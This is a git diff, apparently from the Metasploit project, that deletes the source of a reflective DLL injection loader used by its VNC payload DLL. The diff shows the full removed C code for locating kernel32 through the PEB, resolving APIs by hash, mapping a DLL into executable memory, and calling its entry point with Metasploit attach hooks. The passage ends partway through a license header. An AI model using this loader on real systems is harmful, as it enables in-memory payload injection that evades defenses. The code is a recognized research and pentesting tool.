b/external/source/vncdll/loader/LoadLibraryR.c deleted file mode 100644 index 8960cfe16f..0000000000 --- a/external/source/vncdll/loader/LoadLibraryR.c +++ /dev/null @@ -1,131 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "LoadLibraryR.h" -//===============================================================================================// -DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress ) -{ - WORD wIndex = 0; - PIMAGE_SECTION_HEADER pSectionHeader = NULL; - PIMAGE_NT_HEADERS pNtHeaders = NULL; - - pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); - - pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); - - if( dwRva < pSectionHeader[0].PointerToRawData ) - return dwRva; - - for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ ) - { - if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) - return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); - } - - return 0; -} -//===============================================================================================// -DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) -{ - UINT_PTR uiBaseAddress = 0; - UINT_PTR uiExportDir = 0; - UINT_PTR uiNameArray = 0; - UINT_PTR uiAddressArray = 0; - UINT_PTR uiNameOrdinals = 0; - DWORD dwCounter = 0; -#ifdef _WIN64 - DWORD dwMeterpreterArch = 2; -#else - DWORD dwMeterpreterArch = 1; -#endif - - uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; - - // get the File Offset of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // currenlty we can only process a PE file which is the same type as the one this fuction has - // been compiled as, due to various offset in the PE structures being defined at compile time. - if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 - { - if( dwMeterpreterArch != 1 ) - return 0; - } - else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 - { - if( dwMeterpreterArch != 2 ) - return 0; - } - else - { - return 0; - } - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the File Offset of the export directory - uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); - - // get the File Offset for the array of name pointers - uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); - - // get the File Offset for the array of addresses - uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); - - // get the File Offset for the array of name ordinals - uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); - - // get a counter for the number of exported functions... - dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; - - // loop through all the exported functions to find the ReflectiveLoader - while( dwCounter-- ) - { - char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); - - if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) - { - // get the File Offset for the array of addresses - uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); - - // use the functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // return the File Offset to the ReflectiveLoader() functions code... - return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); - } - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - - return 0; -} -//===============================================================================================// diff --git a/external/source/vncdll/loader/LoadLibraryR.h b/external/source/vncdll/loader/LoadLibraryR.h deleted file mode 100644 index 5c1e65075f..0000000000 --- a/external/source/vncdll/loader/LoadLibraryR.h +++ /dev/null @@ -1,37 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_LOADLIBRARYR_H -#define _VNCDLL_LOADER_LOADLIBRARYR_H -//===============================================================================================// -#include "ReflectiveDLLInjection.h" - -DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ); - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/vncdll/loader/ReflectiveDLLInjection.h b/external/source/vncdll/loader/ReflectiveDLLInjection.h deleted file mode 100644 index d41b2ac323..0000000000 --- a/external/source/vncdll/loader/ReflectiveDLLInjection.h +++ /dev/null @@ -1,53 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#ifndef _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H -#define _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include - -// we declare some common stuff in here... - -#define DLL_METASPLOIT_ATTACH 4 -#define DLL_METASPLOIT_DETACH 5 -#define DLL_QUERY_HMODULE 6 - -#define DEREF( name )*(UINT_PTR *)(name) -#define DEREF_64( name )*(DWORD64 *)(name) -#define DEREF_32( name )*(DWORD *)(name) -#define DEREF_16( name )*(WORD *)(name) -#define DEREF_8( name )*(BYTE *)(name) - -typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID ); -typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); - -#define DLLEXPORT __declspec( dllexport ) - -//===============================================================================================// -#endif -//===============================================================================================// diff --git a/external/source/vncdll/loader/ReflectiveLoader.c b/external/source/vncdll/loader/ReflectiveLoader.c deleted file mode 100644 index fe667a830d..0000000000 --- a/external/source/vncdll/loader/ReflectiveLoader.c +++ /dev/null @@ -1,451 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided -// with the distribution. -// -// * Neither the name of Harmony Security nor the names of its contributors may be used to -// endorse or promote products derived from this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR -// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND -// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR -// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR -// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -// POSSIBILITY OF SUCH DAMAGE. -//===============================================================================================// -#include "ReflectiveLoader.h" -//===============================================================================================// -// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value -HINSTANCE hAppInstance = NULL; -//===============================================================================================// -#ifdef _WIN64 -#pragma intrinsic( _ReturnAddress ) -UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); } -#endif -//===============================================================================================// - -// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, -// otherwise the DllMain at the end of this file will be used. - -// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, -// otherwise it is assumed you are calling the ReflectiveLoader via a stub. - -// This is our position independent reflective DLL loader/injector -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR -DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) -#else -DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID ) -#endif -{ - // the functions we need - LOADLIBRARYA pLoadLibraryA; - GETPROCADDRESS pGetProcAddress; - VIRTUALALLOC pVirtualAlloc; - USHORT usCounter; - - // the initial location of this image in memory - UINT_PTR uiLibraryAddress; - // the kernels base address and later this images newly loaded base address - UINT_PTR uiBaseAddress; - - // variables for processing the kernels export table - UINT_PTR uiAddressArray; - UINT_PTR uiNameArray; - UINT_PTR uiExportDir; - UINT_PTR uiNameOrdinals; - DWORD dwHashValue; - - // variables for loading this image - UINT_PTR uiHeaderValue; - UINT_PTR uiValueA; - UINT_PTR uiValueB; - UINT_PTR uiValueC; - UINT_PTR uiValueD; - - // STEP 0: calculate our images current base address - - // we will start searching backwards from our current EIP -#ifdef _WIN64 - uiLibraryAddress = eip(); -#else - __asm call geteip - __asm geteip: pop uiLibraryAddress -#endif - - // loop through memory backwards searching for our images base address - // we dont need SEH style search as we shouldnt generate any access violations with this - while( TRUE ) - { - if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) - { - uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), - // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. - if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) - { - uiHeaderValue += uiLibraryAddress; - // break if we have found a valid MZ/PE header - if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) - break; - } - } - uiLibraryAddress--; - } - - // STEP 1: process the kernels exports for the functions our loader needs... - - // get the Process Enviroment Block -#ifdef _WIN64 - uiBaseAddress = __readgsqword( 0x60 ); -#else - uiBaseAddress = __readfsdword( 0x30 ); -#endif - - // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx - uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr; - - // get the first entry of the InMemoryOrder module list - uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; - while( uiValueA ) - { - // get pointer to current modules name (unicode string) - uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; - // set bCounter to the length for the loop - usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; - // clear uiValueC which will store the hash of the module name - uiValueC = 0; - // compute the hash of the module name... - do - { - uiValueC = ror( (DWORD)uiValueC ); - // normalize to uppercase if the madule name is in lowercase - if( *((BYTE *)uiValueB) >= 'a' ) - uiValueC += *((BYTE *)uiValueB) - 0x20; - else - uiValueC += *((BYTE *)uiValueB); - uiValueB++; - } while( --usCounter ); - // compare the hash with that of kernel32.dll - if( (DWORD)uiValueC == KERNEL32DLL_HASH ) - { - // get this modules base address - uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; - break; - } - // get the next entry - uiValueA = DEREF( uiValueA ); - } - - // get the VA of the modules NT Header - uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of name pointers - uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); - - // get the VA for the array of name ordinals - uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); - - usCounter = 3; - - // loop while we still have imports to find - while( usCounter > 0 ) - { - // compute the hash values for this function name - dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); - - // if we have found a function we want we get its virtual address - if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) - { - // get the VA for the array of addresses - uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use this functions name ordinal as an index into the array of name pointers - uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); - - // store this functions VA - if( dwHashValue == LOADLIBRARYA_HASH ) - pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == GETPROCADDRESS_HASH ) - pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - else if( dwHashValue == VIRTUALALLOC_HASH ) - pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); - - // decrement our counter - usCounter--; - } - - // get the next exported function name - uiNameArray += sizeof(DWORD); - - // get the next exported function name ordinal - uiNameOrdinals += sizeof(WORD); - } - - // STEP 2: load our image into a new permanent location in memory... - - // get the VA of the NT Header for the PE to be loaded - uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // allocate all the memory for the DLL to be loaded into. we can load at any address because we will - // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. - uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - - // we must now copy over the headers - uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; - uiValueB = uiLibraryAddress; - uiValueC = uiBaseAddress; - __movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA ); - - // STEP 3: load in all of our sections... - - // uiValueA = the VA of the first section - uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); - - // itterate through all sections, loading them into memory. - while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- ) - { - // uiValueB is the VA for this section - uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); - - // uiValueC if the VA for this sections data - uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); - - // copy the section over - uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; - __movsb( (PBYTE)uiValueB, (PBYTE)uiValueC, uiValueD ); - - // get the VA of the next section - uiValueA += sizeof( IMAGE_SECTION_HEADER ); - } - - // STEP 4: process our images import table... - - // uiValueB = the address of the import directory - uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; - - // we assume their is an import table to process - // uiValueC is the first entry in the import table - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // itterate through all imports - while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) - { - // use LoadLibraryA to load the imported module into memory - uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); - - // uiValueD = VA of the OriginalFirstThunk - uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); - - // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) - uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); - - // itterate through all imported functions, importing by ordinal if no name present - while( DEREF(uiValueA) ) - { - // sanity check uiValueD as some compilers only import by FirstThunk - if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) - { - // get the VA of the modules NT Header - uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; - - // uiNameArray = the address of the modules export directory entry - uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; - - // get the VA of the export directory - uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); - - // get the VA for the array of addresses - uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); - - // use the import ordinal (- export ordinal base) as an index into the array of addresses - uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); - - // patch in the address for this imported function - DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); - } - else - { - // get the VA of this functions import by name struct - uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); - - // use GetProcAddress and patch in the address for this imported function - DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); - } - // get the next imported function - uiValueA += sizeof( UINT_PTR ); - if( uiValueD ) - uiValueD += sizeof( UINT_PTR ); - } - - // get the next import - uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); - } - - // STEP 5: process all of our images relocations... - - // calculate the base address delta and perform relocations (even if we load at desired image base) - uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; - - // uiValueB = the address of the relocation directory - uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; - - // check if their are any relocations present - if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) - { - // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // and we itterate through all entries... - while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) - { - // uiValueA = the VA for this relocation block - uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); - - // uiValueB = number of entries in this relocation block - uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); - - // uiValueD is now the first entry in the current relocation block - uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); - - // we itterate through all the entries in the current block... - while( uiValueB-- ) - { - // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. - // we dont use a switch statement to avoid the compiler building a jump table - // which would not be very position independent! - if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) - *(UINT_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) - *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); - else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) - *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); - - // get the next entry in the current relocation block - uiValueD += sizeof( IMAGE_RELOC ); - } - - // get the next entry in the relocation directory - uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; - } - } - - // STEP 6: process the images exception directory if it has one (PE32+ for x64) -/* - // uiValueB = the address of the relocation directory - uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXCEPTION ]; - // check if their are any exception etries present - if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) - { - // get the number of entries - uiValueA = ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size / sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY ); - - // uiValueC is now the first entry (IMAGE_RUNTIME_FUNCTION_ENTRY) - uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); - - // itterate through all entries - while( uiValueA-- ) - { - //((IMAGE_RUNTIME_FUNCTION_ENTRY)uiValueC).BeginAddress - - // get the next entry - uiValueC += sizeof( IMAGE_RUNTIME_FUNCTION_ENTRY ); - } - } -*/ - // STEP 7: call our images entry point - - // uiValueA = the VA of our newly loaded DLL/EXE's entry point - uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); - - // call our respective entry point, fudging our hInstance value -#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR - // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); -#else - // if we are injecting an DLL via a stub we call DllMain with no parameter - ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); -#endif - - // STEP 8: return our new entry point address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH - return uiValueA; -} -//===============================================================================================// -#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN - -// you must implement this function... -extern DWORD DLLEXPORT Init( SOCKET socket ); - -BOOL MetasploitDllAttach( SOCKET socket ) -{ - Init( socket ); - return TRUE; -} - -BOOL MetasploitDllDetach( DWORD dwExitFunc ) -{ - switch( dwExitFunc ) - { - case EXITFUNC_SEH: - SetUnhandledExceptionFilter( NULL ); - break; - case EXITFUNC_THREAD: - ExitThread( 0 ); - break; - case EXITFUNC_PROCESS: - ExitProcess( 0 ); - break; - default: - break; - } - - return TRUE; -} - -BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) -{ - BOOL bReturnValue = TRUE; - switch( dwReason ) - { - case DLL_METASPLOIT_ATTACH: - bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved ); - break; - case DLL_METASPLOIT_DETACH: - bReturnValue = MetasploitDllDetach( (DWORD)lpReserved ); - break; - case DLL_QUERY_HMODULE: - if( lpReserved != NULL ) - *(HMODULE *)lpReserved = hAppInstance; - break; - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - return bReturnValue; -} - -#endif -//===============================================================================================// diff --git a/external/source/vncdll/loader/ReflectiveLoader.h b/external/source/vncdll/loader/ReflectiveLoader.h deleted file mode 100644 index 597eb5d457..0000000000 --- a/external/source/vncdll/loader/ReflectiveLoader.h +++ /dev/null @@ -1,197 +0,0 @@ -//===============================================================================================// -// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com) -// All rights reserved. -// -// Redistribution and use in source and binary forms, with or without modification, are permitted -// provided that the following conditions are met: -// -// * Redistributions of source code must retain the above copyright notice, this list of -// conditions and the following disclaimer. -// -// * Redistributions in binary form must reproduce the above copyright notice, this list of -// conditions and the following disclaimer in the documentation and/or other materials provided 